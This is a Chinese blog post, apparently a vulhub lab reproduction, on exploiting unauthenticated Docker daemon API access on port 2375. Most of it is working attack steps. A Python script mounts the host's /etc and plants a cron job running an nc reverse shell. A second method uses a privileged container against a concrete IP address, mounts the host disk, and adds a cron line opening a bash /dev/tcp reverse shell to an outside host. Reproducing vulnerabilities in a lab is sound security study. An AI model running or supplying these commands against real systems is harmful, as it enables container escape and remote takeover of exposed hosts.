docker daemon api 未授权访问漏洞
漏洞环境
编译及启动漏洞环境:
docker-compose build
docker-compose up -d
环境启动后,将监听2375端口。
漏洞复现
利用方法是,我们随意启动一个容器,并将宿主机的/etc
目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
写入crontab文件,成功反弹shell:
没复现成功哈
方法二
原理:创建一个docker容器,进入alpine容器,把本地的盘符挂到容器里,通过创建cron任务反弹shell。
docker -H 1.117.159.190:2375 images
docker -H 1.117.159.190:2375 pull alpine
进入镜像 docker -H 1.117.159.190:2375 run -it --privileged alpine /bin/sh
1 2 3 4 5 6 7 8 9 | 查看本地磁盘 fdisk -l 在容器创建 test 目录 mkdir test 把本地磁盘挂在到容器 test 目录下 mount /dev/vda1 /test |
编辑 /var/spool/cron/crontabs/root 添加计划任务 */1 * * * * bash -i >& /dev/tcp/43.134.29.177/6666 0>&1
反弹shell
宿主机docker版本为18.09.9,否则以上逃逸无效
苟利国家生死以,岂因福祸避趋之
分类:
vulhub漏洞复现
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】